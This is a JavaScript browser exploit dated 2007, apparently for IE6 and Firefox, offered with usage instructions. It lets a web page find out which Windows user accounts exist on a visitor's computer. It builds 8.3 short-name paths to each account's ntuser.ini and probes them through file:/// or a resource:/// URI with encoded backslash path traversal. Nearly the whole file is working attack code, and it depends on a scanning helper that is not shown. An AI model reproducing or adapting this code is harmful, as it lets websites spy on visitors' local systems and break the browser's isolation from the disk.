// ================= [17/05/07] Sergey Vzloman =====================
// USAGE:
//	scanWindowsAccounts.setCallBack( FUNCTION );
//	scanWindowsAccounts.addAccount( "0xfa60" );
//	scanWindowsAccounts.addAccount( "Sergey Vzloman" );
//	scanWindowsAccounts.start();
//  
//  TESTED ON IE6,FF

	scanWindowsAccounts = 
	{
		  list					: new Array()	
		, callback				: function(account,status){}
		
		, fileFingerPrint		: "docume~1/ACCOUNT/ntuser.ini"
		
		, setCallBack 			: function(callback) 
									{ 
										scanWindowsAccounts.callback = callback; 
										scanURI.setCallBack( scanWindowsAccounts.scanURICallBack );
									}
		
		, getShortName			: function(in_name, in_id)
									{	
										var name = in_name.toUpperCase();
										var id   = new String(in_id);
									
										function truncName(name, len, id, noTest )
										{
											if ( ( (name.indexOf(' ') != -1) || (name.length>len) ) || noTest )
											{
												var add = [ 
														 id.length==0 ? 0 : (1+id.length) 
														,id.length==0 ? '': ('~'+id)
													]
									
												return ( name.replace(/ /ig,'').substring(0,len - add[0] ) + add[1] );
											}
											
											return name;
										}
									
									
										if( name.indexOf('.') == -1 )
											return truncName(name, 8, id,false );
									
									
										var names = name.split('.');
										
										names[3] = truncName(names[1], 3, '',false ).substring(0,3);
										names[2] = truncName(names[0], 8, id, names[1]!=names[3] );
									
										return ( names[2]+'.'+names[3] );
									   
									}
									
		, getURI				: function(path)
									{
										return navigator.appName=='Netscape' 
													? "resource:///..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C/" + path
													: "file:///c:/" + path;
									}

		, addAccount			: function(account)
									{
										var uri = scanWindowsAccounts.getURI( 
												scanWindowsAccounts.fileFingerPrint.replace( /(ACCOUNT)/ig
														, scanWindowsAccounts.getShortName(account,1) ) 
												);
										
										scanWindowsAccounts.list[uri] = account;
										
										scanURI.addURI( uri );
									}
								
		, scanURICallBack		: function(uri,status)
									{
										scanWindowsAccounts.callback( scanWindowsAccounts.list[uri], status );
									}
									
		, start					: function(){ scanURI.start(); }
		
	};

